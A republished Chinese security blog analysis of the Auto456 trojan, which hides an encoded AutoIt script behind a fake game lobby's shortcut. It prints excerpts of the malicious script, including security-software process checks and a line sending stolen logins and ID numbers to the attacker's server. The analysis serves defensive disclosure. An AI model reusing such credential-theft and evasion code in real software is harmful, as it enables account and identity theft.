专栏首页FreeBuf百足之虫死而不僵:Auto456家族木马的死灰复燃

百足之虫死而不僵:Auto456家族木马的死灰复燃

作者 tianjiyun

就在今年上半年,456游戏大厅还是金钱的代名词。一个看起来并不起眼的游戏平台,注册用户却达2000余万,每天获利最高可达100余万。这样的一个游戏大厅,必然是各路木马的兵家必争之地。于是针对456游戏大厅的各种盗号木马、远控木马也都层出不穷。作为一家互联网安全公司,我们当然也是一直在和各类木马作者不断地对抗。怎奈金钱的利益太过诱人,虽然被我们步步紧逼,但木马作者却也从未停止过自己的脚步。

但到今年4月16日,有关456游戏的一切活动戛然而止……

温州龙湾警方将这宗涉案金额堪比全省一年GDP的特大网络开设赌场案破获,涉案人员被抓,456游戏大厅也正式宣告倒台。皮之不存,毛将焉附——依附于456游戏存在的无数木马作者也都跟着销声匿迹了。我们这些互联网安全工作者们仿佛也可以松一口气了。

似曾相识

近日接到用户举报说搜索的时候遇到了一个虚假的670游戏大厅,我们便按照用户的描述找到了这个游戏大厅

而一打开这个所谓的“670游戏”的主页,我就感觉不对劲了——这不就是456游戏大厅的主页吗?

将主页页面上挂的游戏平台下载回来之后安装……果然——除了改了几个标题之外,Game456和456游戏的名字还是随处可见

安装完成后,会在桌面上生成一个“670游戏大厅”的快捷方式。——直到此时,这个程序还仅仅只是停留在一个简单的“山寨456游戏大厅”的层面,并没有实质的恶意行为。

诡异的快捷方式

点开该快捷方式的属性,乍一看去仿佛还挺正常,但习惯性的用鼠标圈了一下“目标”一栏——怎么这么长!遂将完整目标路径复制下来:

“C:Program FilesKaiLian Tech670游戏UpdatLobby.exe” plat.mod “C:Program FilesKaiLian Tech670游戏Lobby.exe”

定位到目标文件,是一个隐藏的UploadLobby.exe程序,参数则是同样隐藏的Plat.mod文件和真正的游戏大厅主程序lobby.exe

惊现Auto456

UpdatLobby.exe这个程序带有数字签名“AutoIt Consulting Ltd”。

看到这相信很多人都明白了——这是一个AutoIt的解释器——用于解释用AutoIt语言写成的自动化脚本。那么很显然,他指向的Plat.mod就是一个自动化脚本。

不出意料,这个脚本是经过编码的,也就是一个a3x脚本,我们用工具将其转为文本的au3文本——一个多大1800余行的脚本出现在我的眼前。

同样不出意料的,我在脚本中看到了这样的一个久违的变量名——”456exepath”:

而这种利用AutoIt执行恶意代码的手法在456游戏的时代就曾经出现过——我们称其为“Auto456”。

脚本分析

观其1800余行的脚本,封装了大量的WinAPI和GDI+函数。也正是依赖大量的WinAPI的调用,这个AutoIt的脚本实现了一个原本应该是经过编译的可执行程序才会有的强大功能。(以下仅列出其中部分)

func _winapi_createcompatiblebitmap($hdc, $iwidth, $iheight)
    local $aresult = dllcall("gdi32.dll", "handle", "createcompatiblebitmap", "handle", $hdc, "int", $iwidth, "int", $iheight)
    if @error then return seterror(@error, @extended, 0x00000000)
    return $aresult [0x00000000 ]
endfunc

func _winapi_createcompatibledc($hdc)
    local $aresult = dllcall("gdi32.dll", "handle", "createcompatibledc", "handle", $hdc)
    if @error then return seterror(@error, @extended, 0x00000000)
    return $aresult [0x00000000 ]
endfunc

func _winapi_deletedc($hdc)
    local $aresult = dllcall("gdi32.dll", "bool", "deletedc", "handle", $hdc)
    if @error then return seterror(@error, @extended, false)
    return $aresult [0x00000000 ]
endfunc

func _winapi_deleteobject($hobject)
    local $aresult = dllcall("gdi32.dll", "bool", "deleteobject", "handle", $hobject)
    if @error then return seterror(@error, @extended, false)
    return $aresult [0x00000000 ]
endfunc

func _winapi_getdc($hwnd)
    local $aresult = dllcall("user32.dll", "handle", "getdc", "hwnd", $hwnd)
    if @error then return seterror(@error, @extended, 0x00000000)
    return $aresult [0x00000000 ]
endfunc

……

func _gdiplus_encodersgetclsid($sfileext)
    local $aencoders = _gdiplus_encoders()
    for $ii = 0x00000001 to $aencoders [0x00000000 ][0x00000000 ]
        if stringinstr($aencoders [$ii ][0x00000006 ], "*."& $sfileext) > 0x00000000 then return $aencoders [$ii ][0x00000001 ]
    next
    return seterror(- 0x00000001, -0x00000001, "")
endfunc

func _gdiplus_encodersgetcount()
    local $aresult = dllcall($ghgdipdll, "int", "gdipgetimageencoderssize", "uint*", 0x00000000, "uint*", 0x00000000)
    if @error then return seterror(@error, @extended, -0x00000001)
    return setextended($aresult [0x00000000 ], $aresult [0x00000001 ])
endfunc

func _gdiplus_encodersgetsize()
    local $aresult = dllcall($ghgdipdll, "int", "gdipgetimageencoderssize", "uint*", 0x00000000, "uint*", 0x00000000)
    if @error then return seterror(@error, @extended, -0x00000001)
    return setextended($aresult [0x00000000 ], $aresult [0x00000002 ])
endfunc

脚本一开始便给出了作者的远程服务器域名,但看起来很乱:

global $ymdqz = "nat.game670.com-hell.game670.com_download.game670.com."
global $zydfwq = "new670.yx****.com"
global $bydfwq = "news670.ggy****.com"
global $ymdbh = "sina670."

但其实里面只有两个域名“yx****.com”和“ggy****.com”(处于安全考虑,隐去了域名中的部分字符)。而其他部分则都是这两个真实域名下属的子域名。猜测是用来迷惑和误导分析人员的。

然后就是收集用户当前的信息

比如本地IP(注释为本文作者添加,下同)

; 获取本地IP地址
global $ipadqz = stringleft(@ipaddress1, 0x00000003)
if $ipadqz == "192"or $ipadqz == "0.1"or $ipadqz == "169"or $ipadqz == "10."or $ipadqz == "172"then
    $hzxx = "|"& @ipaddress1 & "|"& @computername
else
    $hzxx = "|1.1.1.1|"& @computername
endif

检查用户机器上是否有正在运行的安全软件

; 检查进程
if processexists("360tray.exe") or processexists("ksafetray.exe") or processexists("qqpctray.exe") then
    $sysppbb = 0x00000001
    $lj = 0x00000001
    _ljwini()
endif
$user2 = ""
sleep(0x00000457)
tcpstartup()

; 检查安全软件
; 检查是否存在360
if processexists("360tray.exe") then
    $sdxx = "``有360"
else
    $sdxx = ""
endif

; 检查是否存在金山
if processexists("ksafetray.exe") then
    if $sdxx <> ""then
        $sdxx &= "_金山"
    else
        $sdxx = "``有金山"
    endif
endif

; 检查是否存在冰点还原
if processexists("df5serv.exe") then
    if $sdxx <> ""then
        $sdxx &= "_冰点"
    else
        $sdxx = "``有冰点"
    endif
endif

集到这些信息之后会作为第一个数据包打包发送给木马作者的收信服务器,作为记录。

收集完这些基础信息之后,才是病毒的真正主体——一个长达300多行的死循环。

正是这个死循环,在监视着用户的一举一动。

比如每隔一段时间(循环500次)就会检查一遍放在桌面上的快捷方式是否正常(是否依然指向病毒),如果不正常了就修复一下,并通知服务器修复了快捷方式。而如果脚本一段时间内(循环3500次)没有发现你做过什么有价值的事情,也会定点向服务器报告一下当前置顶的窗口标题是什么。甚至当你需要注册的时候,木马都会为你贴心的准备了几个处理过的窗口贴图和验证码图案……

当然,作者最想要拿到的,必然还是用户的账户登录信息。更为严重的是——由于此类游戏平台涉及大宗的财务交易,所以大多都要求登陆的时候需要输入本人真实身份证号码用于验证。这样一来,木马作者窃取的就不仅仅是游戏资产而已了——也包括了用户的身份证信息,而这会牵连出多少其他的个人隐私数据,就无法想象了。

if $passtemp == "yfsa"and winexists("[class:kailiangame456]") and controlcommand("[class:kailiangame456]", "", "button8", "isenabled", "") == 0x00000001 then
    $passtemp = ""
    if $sfz <> ""and stringlen($sfz) <> 0x00000012 then
        _tcpsdd(_stringencrypt(0x00000001, $user & "||||||sfz-error"& $hzxx))
        $sfz = ""
    endif
    _tcpsdd(_stringencrypt(0x00000001, $user & "|"& $pass & "|"& $sfz & "||||"& $sdxx & $hzxx & "|"& $date))
endif

看到这里,如果你以为这是一个盗号的自动化脚本,那你就错了——除了盗号功能外,脚本更主要的功能其实是一个远控。他可以接收来自木马作者服务器的指令,并根据指令进行各种操作

另外,如果下发的指令是一个URL,脚本还会去下载这个URL对应的文件到本地执行。

查杀拦截

由于病毒代码的执行者其实是AutoIt的解释器,而这个解释器本身并非恶意程序(它只是在逐行的解释并执行脚本里每一条指令而已),并且也有正规有效的数字签名。真正含有恶意代码的脚本文件却躲在解释器的后面,不会以独立进程的形式出现在系统中。

因此导致现在市面上所有的安全软件中,除360外都无法正常拦截该木马。所幸的是得益于和456游戏木马的长期对抗经验,360对此类木马一直是可以有效拦截的

最后也要提醒大家:久赌无胜家——无论是否是木马,赌博类游戏,我们就应该远离。

本文分享自微信公众号 - FreeBuf(freebuf)

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2014-09-24

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • 一小时的DDoS要花多少钱?暗网市场只需10美元

    美国云安全技术服务公司Armor近期发布的一份报告,揭示了暗网上针对各种网络犯罪相关服务实施的价格标准。 该报告是通过搜罗数个知名的暗网市场总结出来,与2013...

    FB客服
  • 一文了解安卓APP逆向分析与保护机制

    3月17日,安卓巴士全球开发者论坛在重庆举办,网易资深安全工程师钟亚平出席交流活动,并做《安卓APP逆向与保护》的演讲。在分享中,他介绍了 Android Ap...

    FB客服
  • 个人隐私保护之隐私政策解析

    2019年初,中央网信办、工信部、公安部及市场监管总局四部门联合发布了《关于开展App违法违规收集使用个人信息专项治理的公告》,预示着我国在APP隐私层面的治理...

    FB客服
  • iOS应用代码注入防护

    在应用开发过程中,我们不仅仅需要完成正常的业务逻辑,考虑应用性能、代码健壮相关的问题,我们有时还需要考虑到应用安全的问题。 那么应用安全的问题涉及到很多方面。比...

    iOSSir
  • excel导出使用get请求参数过长问题

    excel导出功能时,使用的是window.location.href=url也就是get请求。当传入参数过长的时候就报了414,地址过长的错误。

    用户1518699
  • 高通LCD的pwm背光驱动

    msm8953 lcd在快速亮灭的情况下背光概率性休眠不灭;测量高通pwm,发现正常的时候pwm的管脚LCM_BL_PWM为低电平,失败的时候为高电平;

    233333
  • hexo 中文文章渲染错误的bug解决

    这实际上是在很长一段时间内困扰我的一个 bug,在 hexo s 本地查看 markdown 文章后,会偶发性地出现部分文章渲染错误的情况,

    Chor
  • wordpress添加post_type自定义文章类型

      wordpress很强大,能当博客也能进行二次开发出很完善的内容管理系统满足企业运营需求,比如可以添加products产品模型、汽车模型等,如何实现呢?添加...

    ytkah
  • 如何在Ubuntu 18.04上重置MySQL或MariaDB Root密码

    忘记密码发生在我们最好的人身上。如果您忘记或丢失了MySQL或MariaDB数据库的root密码,如果您有权访问服务器和具有sudo权限的用户帐户,您仍然可以获...

    你在哪里
  • 资深电气工程师经验心得分享

    1、电气新手“没事做,没人教,工作没有技术含量”的矛盾心态 电气新手往往心浮气躁,拒绝进步,拒绝沉淀,害怕丢脸。青葱年华不怕丢脸时刻:记住每一个让你丢脸的人,他...

    机器人网

扫码关注云+社区

领取腾讯云代金券